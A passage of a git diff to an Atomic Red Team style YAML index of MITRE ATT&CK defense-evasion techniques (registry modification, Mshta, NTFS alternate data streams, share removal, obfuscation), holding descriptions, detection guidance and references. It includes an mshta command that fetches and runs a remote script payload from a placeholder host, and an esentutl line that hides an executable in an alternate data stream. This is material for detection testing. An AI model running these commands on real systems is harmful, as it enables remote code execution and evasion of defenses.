source_name: Microsoft Reg + description: Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015. + url: https://technet.microsoft.com/en-us/library/cc732643.aspx + - source_name: Microsoft Reghide NOV 2006 + description: Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved + August 9, 2018. + url: https://docs.microsoft.com/sysinternals/downloads/reghide + - source_name: TrendMicro POWELIKS AUG 2014 + description: 'Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows + Registry. Retrieved August 9, 2018.' + url: https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/ + - description: Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. + Retrieved August 9, 2018. + source_name: SpectorOps Hiding Reg Jul 2017 + url: https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353 + - source_name: Microsoft Remote + description: Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved + May 1, 2015. + url: https://technet.microsoft.com/en-us/library/cc754820.aspx + - source_name: Microsoft 4657 APR 2017 + description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry + value was modified. Retrieved August 9, 2018.' + url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657 + - description: Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. + Retrieved August 10, 2018. + source_name: Microsoft RegDelNull July 2016 + url: https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull + x_mitre_defense_bypassed: + - Host forensic analysis + identifier: T1112 + atomic_tests: + - name: Modify Registry of Current User Profile - cmd + description: 'Modify the registry of the currently logged in user using reg.exe + cia cmd console ' supported_platforms: @@ -8338,89 +8598,90 @@ defense-evasion: ' T1170: technique: + x_mitre_data_sources: + - Process monitoring + - Process command-line parameters + x_mitre_permissions_required: + - User + name: Mshta + description: "Mshta.exe is a utility that executes Microsoft HTML Applications + (HTA). HTA files have the file extension .hta. (Citation: Wikipedia + HTML Application) HTAs are standalone applications that execute using the + same models and technologies of Internet Explorer, but outside of the browser. + (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy + execution of malicious .hta files and Javascript or VBScript through a trusted + Windows utility. There are several examples of different types of threats + leveraging mshta.exe during initial compromise and for execution of code (Citation: + Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: + FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) + (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe + through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey + may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe + can be used to bypass application whitelisting solutions that do not account + for its potential use. Since mshta.exe executes outside of the Internet Explorer's + security context, it also bypasses browser security settings. (Citation: LOLBAS + Mshta)" + x_mitre_remote_support: false + id: attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec + modified: '2019-09-11T19:22:42.194Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.2' + type: attack-pattern + x_mitre_detection: |- + Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed. + + Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Ricardo Dias + - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank + created: '2018-01-16T16:13:52.465Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution external_references: - external_id: T1170 source_name: mitre-attack url: https://attack.mitre.org/techniques/T1170 - - url: https://en.wikipedia.org/wiki/HTML_Application - source_name: Wikipedia HTML Application + - source_name: Wikipedia HTML Application description: Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017. - - url: https://msdn.microsoft.com/library/ms536471.aspx - source_name: MSDN HTML Applications + url: https://en.wikipedia.org/wiki/HTML_Application + - source_name: MSDN HTML Applications description: Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017. - - url: https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf - source_name: Cylance Dust Storm + url: https://msdn.microsoft.com/library/ms536471.aspx + - source_name: Cylance Dust Storm description: Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017. - - url: https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/ - source_name: Red Canary HTA Abuse Part Deux + url: https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf + - source_name: Red Canary HTA Abuse Part Deux description: McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017. - - url: https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html - source_name: FireEye Attacks Leveraging HTA + url: https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/ + - source_name: FireEye Attacks Leveraging HTA description: 'Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.' + url: https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html - source_name: Airbus Security Kovter Analysis description: Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017. - - url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html - source_name: FireEye FIN7 April 2017 + url: https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/ + - source_name: FireEye FIN7 April 2017 description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. - - source_name: GitHub SubTee The List - description: Smith, C. (2017, July 14). TheList.txt. Retrieved October 27, - 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Ricardo Dias - - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank - x_mitre_data_sources: - - Process monitoring - - Process command-line parameters - modified: '2019-04-29T14:46:20.521Z' - x_mitre_detection: |- - Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed. - - Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack + url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html + - source_name: LOLBAS Mshta + description: LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019. + url: https://lolbas-project.github.io/lolbas/Binaries/Mshta/ x_mitre_defense_bypassed: - Application whitelisting - Digital Certificate Validation - id: attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec - name: Mshta - created: '2018-01-16T16:13:52.465Z' - x_mitre_version: '1.1' - x_mitre_remote_support: false - type: attack-pattern - description: "Mshta.exe is a utility that executes Microsoft HTML Applications - (HTA). HTA files have the file extension .hta. (Citation: Wikipedia - HTML Application) HTAs are standalone applications that execute using the - same models and technologies of Internet Explorer, but outside of the browser. - (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy - execution of malicious .hta files and Javascript or VBScript through a trusted - Windows utility. There are several examples of different types of threats - leveraging mshta.exe during initial compromise and for execution of code (Citation: - Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: - FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) - (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe - through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey - may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe - can be used to bypass application whitelisting solutions that do not account - for its potential use. Since mshta.exe executes outside of the Internet Explorer's - security context, it also bypasses browser security settings. (Citation: GitHub - SubTee The List)" - x_mitre_permissions_required: - - User identifier: T1170 atomic_tests: - name: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject @@ -8442,84 +8703,84 @@ defense-evasion: ' T1096: technique: + x_mitre_data_sources: + - File monitoring + - Kernel drivers + - API monitoring + - Process command-line parameters + type: attack-pattern + name: NTFS File Attributes + description: |- + Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) + + Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015) + id: attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d + modified: '2019-06-25T12:17:31.157Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_system_requirements: + - NTFS partitioned hard drive + x_mitre_detection: |- + Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017) + + There are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f. + + The Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Red Canary + - Oddvar Moe, @oddvarmoe + created: '2017-05-31T21:31:11.147Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion external_references: - - url: https://attack.mitre.org/techniques/T1096 + - external_id: T1096 source_name: mitre-attack - external_id: T1096 - - url: https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea - source_name: SpectorOps Host-Based Jul 2017 - description: Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator + url: https://attack.mitre.org/techniques/T1096 + - description: Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018. - - url: https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/ - source_name: Microsoft NTFS File Attributes Aug 2010 - description: Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved + source_name: SpectorOps Host-Based Jul 2017 + url: https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea + - description: Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018. - - url: http://msdn.microsoft.com/en-us/library/aa364404 + source_name: Microsoft NTFS File Attributes Aug 2010 + url: https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/ + - description: Microsoft. (n.d.). File Streams. Retrieved December 2, 2014. source_name: Microsoft File Streams - description: Microsoft. (n.d.). File Streams. Retrieved December 2, 2014. - - url: https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/ - source_name: MalwareBytes ADS July 2015 + url: http://msdn.microsoft.com/en-us/library/aa364404 + - source_name: MalwareBytes ADS July 2015 description: Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018. - - url: https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/ - source_name: Microsoft ADS Mar 2014 + url: https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/ + - source_name: Microsoft ADS Mar 2014 description: Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018. - - url: http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html - source_name: Journey into IR ZeroAccess NTFS EA - description: Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS + url: https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/ + - description: Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016. - - url: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/ - source_name: Oddvar Moe ADS1 Jan 2018 - description: Moe, O. (2018, January 14). Putting Data in Alternate Data Streams + source_name: Journey into IR ZeroAccess NTFS EA + url: http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html + - description: Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018. - - url: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/ - source_name: Oddvar Moe ADS2 Apr 2018 + source_name: Oddvar Moe ADS1 Jan 2018 + url: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/ + - source_name: Oddvar Moe ADS2 Apr 2018 description: Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018. - - url: https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore - source_name: Symantec ADS May 2009 - description: Pravs. (2009, May 25). What you need to know about alternate + url: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/ + - description: Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Red Canary - - Oddvar Moe, @oddvarmoe - x_mitre_data_sources: - - File monitoring - - Kernel drivers - - API monitoring - - Process command-line parameters - modified: '2019-02-20T14:17:30.847Z' - x_mitre_detection: |- - Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017) - - There are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f. - - The Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack + source_name: Symantec ADS May 2009 + url: https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore x_mitre_defense_bypassed: - Signature-based detection - Host forensic analysis - Anti-virus - id: attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d - name: NTFS File Attributes - created: '2017-05-31T21:31:11.147Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) - - Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015) - x_mitre_system_requirements: - - NTFS partitioned hard drive identifier: T1096 atomic_tests: - name: Alternate Data Streams (ADS) @@ -8552,27 +8813,32 @@ defense-evasion: esentutl.exe /y #{path}\autoruns.exe /d #{path}\file.txt:autoruns.exe /o T1126: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1126 - source_name: mitre-attack - external_id: T1126 - - url: https://technet.microsoft.com/bb490717.aspx - source_name: Technet Net Use - description: Microsoft. (n.d.). Net Use. Retrieved November 25, 2016. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_system_requirements: - - Established network share connection to a remote system. Level of access depends - on permissions of the account used. - x_mitre_permissions_required: - - Administrator - - User x_mitre_data_sources: - Process monitoring - Process command-line parameters - Packet capture - Authentication logs - modified: '2018-10-17T00:14:20.652Z' + x_mitre_permissions_required: + - Administrator + - User + name: Network Share Connection Removal + description: |- + Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\system\share /delete command. (Citation: Technet Net Use) + + Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. + id: attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_system_requirements: + - Established network share connection to a remote system. Level of access depends + on permissions of the account used. + type: attack-pattern + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion x_mitre_detection: Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares @@ -8584,20 +8850,15 @@ defense-evasion: account, and can be used to correlate network share activity to other events to investigate potentially malicious activity. created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - id: attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a - name: Network Share Connection Removal created: '2017-05-31T21:31:38.350Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\system\share /delete command. (Citation: Technet Net Use) - - Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. + modified: '2018-10-17T00:14:20.652Z' + external_references: + - external_id: T1126 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1126 + - description: Microsoft. (n.d.). Net Use. Retrieved November 25, 2016. + source_name: Technet Net Use + url: https://technet.microsoft.com/bb490717.aspx x_mitre_defense_bypassed: - Host forensic analysis identifier: T1126 @@ -8655,57 +8916,6 @@ defense-evasion: Remove-FileShare -Name #{share_name} T1027: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1027 - source_name: mitre-attack - external_id: T1027 - - url: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/ - source_name: Volexity PowerDuke November 2016 - description: 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election - Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January - 11, 2017.' - - url: https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/ - source_name: Linux/Cdorked.A We Live Security Analysis - description: 'Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache - backdoor being used in the wild to serve Blackhole. Retrieved September - 10, 2017.' - - url: https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/ - source_name: Carbon Black Obfuscation Sept 2016 - description: Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved - February 12, 2018. - - url: https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html - source_name: FireEye Obfuscation June 2017 - description: 'Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: - Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February - 12, 2018.' - - url: https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf - source_name: FireEye Revoke-Obfuscation July 2017 - description: 'Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: - PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018.' - - url: https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/ - source_name: PaloAlto EncodedCommand March 2017 - description: White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand - PowerShell Attacks. Retrieved February 12, 2018. - - url: https://en.wikipedia.org/wiki/Duqu - source_name: Wikipedia Duqu - description: Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018. - - url: https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/ - source_name: McAfee Malicious Doc Targets Pyeongchang Olympics - description: Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious - Document Targets Pyeongchang Olympics. Retrieved April 10, 2018. - - url: https://github.com/danielbohannon/Revoke-Obfuscation - source_name: GitHub Revoke-Obfuscation - description: Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February - 12, 2018. - - url: https://github.com/itsreallynick/office-crackros - source_name: GitHub Office-Crackros Aug 2016 - description: Carr, N. (2016, August 14). OfficeCrackros. Retrieved February - 12, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Red Canary - - Christiaan Beek, @ChristiaanBeek x_mitre_data_sources: - Network protocol analysis - Process use of network @@ -8719,26 +8929,7 @@ defense-evasion: - Network intrusion detection system - Email gateway - SSL/TLS inspection - modified: '2019-04-25T17:34:09.762Z' - x_mitre_detection: |- - Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). - - Flag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) - - Obfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - id: attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a name: Obfuscated Files or Information - created: '2017-05-31T21:30:32.662Z' - x_mitre_version: '1.0' - type: attack-pattern description: |- Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. @@ -8749,6 +8940,79 @@ defense-evasion: Adversaries may also obfuscate commands executed from payloads or directly via a [Command-Line Interface](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017) Another example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding [Invoke-PSImage](https://attack.mitre.org/software/S0231). The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used [Invoke-PSImage](https://attack.mitre.org/software/S0231) to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) + id: attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a + modified: '2019-06-25T12:14:59.189Z' + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). + + Flag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) + + Obfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Red Canary + - Christiaan Beek, @ChristiaanBeek + created: '2017-05-31T21:30:32.662Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1027 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1027 + - source_name: capec + external_id: CAPEC-267 + url: https://capec.mitre.org/data/definitions/267.html + - source_name: Volexity PowerDuke November 2016 + description: 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election + Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January + 11, 2017.' + url: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/ + - description: 'Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache + backdoor being used in the wild to serve Blackhole. Retrieved September + 10, 2017.' + source_name: Linux/Cdorked.A We Live Security Analysis + url: https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/ + - source_name: Carbon Black Obfuscation Sept 2016 + description: Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved + February 12, 2018. + url: https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/ + - description: 'Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: + Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February + 12, 2018.' + source_name: FireEye Obfuscation June 2017 + url: https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html + - source_name: FireEye Revoke-Obfuscation July 2017 + description: 'Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: + PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018.' + url: https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf + - source_name: PaloAlto EncodedCommand March 2017 + description: White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand + PowerShell Attacks. Retrieved February 12, 2018. + url: https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/ + - source_name: Wikipedia Duqu + description: Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018. + url: https://en.wikipedia.org/wiki/Duqu + - description: 